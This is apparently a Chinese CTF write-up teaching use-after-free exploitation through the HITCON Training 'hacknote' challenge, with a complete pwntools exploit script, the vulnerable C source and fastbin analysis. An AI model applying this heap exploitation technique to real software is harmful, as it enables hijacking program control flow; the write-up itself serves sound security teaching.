UAF——use after free

时间:2024-01-26 07:33:52

本文系pwn2web原创,转载请说明出处

UAF 漏洞,英文原名use after free,该漏洞简洁的可以概括为

  1. 分配一块内存
  2. free该内存但不回收,构成悬垂指针
  3. 再次构造分配同样大小的内存,按照malloc分配原则将会是将第一次分配的内存给这块新的
  4. 对新的内存进行use

 

一    前言

首先我们以一道题来介绍一下UAF,这里选用hitcon training lab10 作为例子,源码太多,占篇幅,试题、源码详情请见的GitHubhttps://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab10 中的c语言文件。

这里先直接附上exp,网上大部分exp都差不多,但是有一些疑点我得说一下:

  • magic函数地址咋来的
  • 非预期解:创建1个note也能getshell 
 1 from pwn import *
 2 
 3 r = process('./hacknote')
 4 
 5 
 6 def addnote(size, content):
 7     r.recvuntil(":")
 8     r.sendline("1")
 9     r.recvuntil(":")
10     r.sendline(str(size))
11     r.recvuntil(":")
12     r.sendline(content)
13 
14 
15 def delnote(idx):
16     r.recvuntil(":")
17     r.sendline("2")
18     r.recvuntil(":")
19     r.sendline(str(idx))
20 
21 
22 def printnote(idx):
23     r.recvuntil(":")
24     r.sendline("3")
25     r.recvuntil(":")
26     r.sendline(str(idx))
27 
28 
29 #gdb.attach(r)
30 magic = 0x08048986
31 
32 addnote(32, "aaaa") # add note 0
33 addnote(32, "ddaa") # add note 1
34 
35 delnote(0) # delete note 0
36 delnote(1) # delete note 1
37 
38 addnote(8, p32(magic)) # add note 2
39 
40 printnote(0) # print note 0
41 
42 r.interactive()

 

1、我看了大部分博客,都没有给出magic地址从哪来。。。给爷整懵了。。无中生magic是了。。。

俺这里有个法子弄到这个地址:

 看到pdisas这个神奇的反汇编指令了咩,第一行地址就是magic的开始地址,这里我也尝试了一下下断点到magic函数,即b magic,然后你看到,这个断点是在上面汇编显示的地址的第四行,我们来看看其他的函数:add_note

所以你可以看到,gdb中的下断点一般是下在开栈的地址。

总之,最起码我们找到一个很好的方法来寻找地址对不。

 

2、再就是为啥子要预先创建两个note?我先附上创建一个note的exp和运行结果,下面我会细细讨论

 

 

 

二  分析

下面我们再来一步步分析:

按这篇文章开头的几个步骤来寻找

0x00 结构体定义如下:

1 struct note {
2     void (*printnote)();
3     char *content ;
4 };

不写入content的初始大小为16字节:

 

为什么是16字节,这里有个字节对齐的原因,void对应4字节,char按道理对应1字节,为什么是4字节?因为void,字节对齐,各位请谷歌自行查询。

4(PUT指针)+4(content指针)就是8,再加上8字节chunk头部,就是16字节。

 

 

0x01  首先是分配内存,整个程序具备这个功能的就是add_note:

 1 void add_note(){
 2     int i ;
 3     char buf[8];
 4     int size ;
 5     if(count > 5){
 6         puts("Full");
 7         return ;
 8     }
 9     for(i = 0 ; i < 5 ; i ++){
10         if(!notelist[i]){
11             notelist[i] = (struct note*)malloc(sizeof(struct note));
12             if(!notelist[i]){
13                 puts("Alloca Error");
14                 exit(-1);
15             }
16             notelist[i]->printnote = print_note_content;
17             printf("Note size :");
18             read(0,buf,8);
19             size = atoi(buf);
20             notelist[i]->content = (char *)malloc(size);
21             if(!notelist[i]->content){
22                 puts("Alloca Error");
23                 exit(-1);
24             }
25             printf("Content :");
26             read(0,notelist[i]->content,size);
27             puts("Success !");
28             count++;
29             break;
30         }
31     }
32 }

1、从第9行可以得知只能创建5个note

2、之后按照notelist的结构体大小创建note,再按照输入的大小为content申请内存,总体结构正如ctf wiki上的结构图

   +-----------------+                       
   |   put           |                       
   +-----------------+                       
   |   content       |       size              
   +-----------------+------------------->+----------------+
                                          |     real       |
                                          |    content     |
                                          |                |
                                          +----------------+

上一部分我们说了该大小为16字节,堆的最小处理单元为chunk,那么根据堆分配规则,为fastbin chunk。什么是fastbin?我之后博文会去介绍

 

0x02 释放内存,整个代码中del_note具备释放内存功能

 1 void del_note(){
 2     char buf[4];
 3     int idx ;
 4     printf("Index :");
 5     read(0,buf,4);
 6     idx = atoi(buf);
 7     if(idx < 0 || idx >= count){
 8         puts("Out of bound!");
 9         _exit(0);
10     }
11     if(notelist[idx]){
12         free(notelist[idx]->content);
13         free(notelist[idx]);
14         puts("Success");
15     }
16 }

也就是第12、13行,先free content,再free notelist的头。

 

0x03 可利用执行函数magic

void magic(){
    system("cat /home/hacknote/flag");
}

 

0x04 利用

因为我们要把第一次分配的内存释放然后第二次分配同样大小的内存进行复用,那么可以构造利用链:

add_note()-> add_note()-> delete_note()-> delete_note()-> add_note()

换句话说,分配和释放将按照此结构进行

malloc(0x20)-> malloc(0x20)-> free(0x8)-> free(0x20)-> free(0x8)-> free(0x20)-> malloc(0x8)-> malloc(0x8)

那么我们来介绍一下这个到底是做撒子

我们利用的是fastbin回收的不合并性,我要将put函数指针指向magic函数的地址。

 

 

 fastbin如上图,0x10表示16字节,0x18表示24字节,0x20表示32字节,以此类推。每次分配完释放回收后将会放在对应的大小行上。

现在我知道的有:

1、notelist 的每个初始大小为16字节,对应fastbin的第一行,即0x10

2、那么如果我们要劫持put函数执行流,那么我们就需要构造一个8字节的content,这样加上头才能变成16字节,才有可能分配到put

3、我们可控的地方只有content部分,可以控制content部分的大小和值,因此我们只能在content中输入magic函数地址的值

因此我们设想:

1、如果我们构造一个note0,content大小为32,然后,free,再者继续创建一个note1,content大小为8(为了劫持put,须与出是头部分配内存相同),但是note1的头大小也是8,那么回收note0后fastbin结构就变成

  • 0x10: note0_head
  • 0x18: 0x0
  • 0x20: note0_content
  • 。。。。。。

然后note1_head就直接分配到了note0_head ,我寻思着note1_head也有put,那么直接用就好了噻,于是我就把note1_content改为magic函数地址,然后print_note(1),也能成功。

注意:然而,使用note1的put仅仅只是将指针指向magic函数,note1_head分配到了释放的内存,但是note1_content没有分配到释放的内存,因此其未对释放后再分配的内存进行修改,是直接利用,而不是释放再利用(UAF)

3、那么创建1个虽然行,但是不能算是UAF,那就用两个咯。因为fastbin是FILO,先进后出嘛,形象一点,看下图,头是note0_head,后面接上note1_head,然后取出来的时候从尾巴开始取,就是先取note1_head

  • 0x10: note1_head -> note0_head
  • 0x18: 0x0
  • 0x20: 0x0
  • ............

我们构造两个note再释放后,fastbin如下(content的大小我设为24):

  • 0x10: note1_head -> note0_head
  • 0x18: note1_content -> note0_head
  • 0x20: 0x0
  • ...........

紧接着我们创建note2,因为note2_head也要分配0x10行的内存块嘛,所以,在note2_head分配完(取出)note1_head后,还剩下note0_head, 那么note2_content大小设置为8,就可以分配到note0_head啦

 

三 总结

正确的此题做题流程为:静态审计源码,构造思路,动态调试找地址,编写exp

UAF漏洞:利用内存分配的特性操作分配的已释放使用过的内存块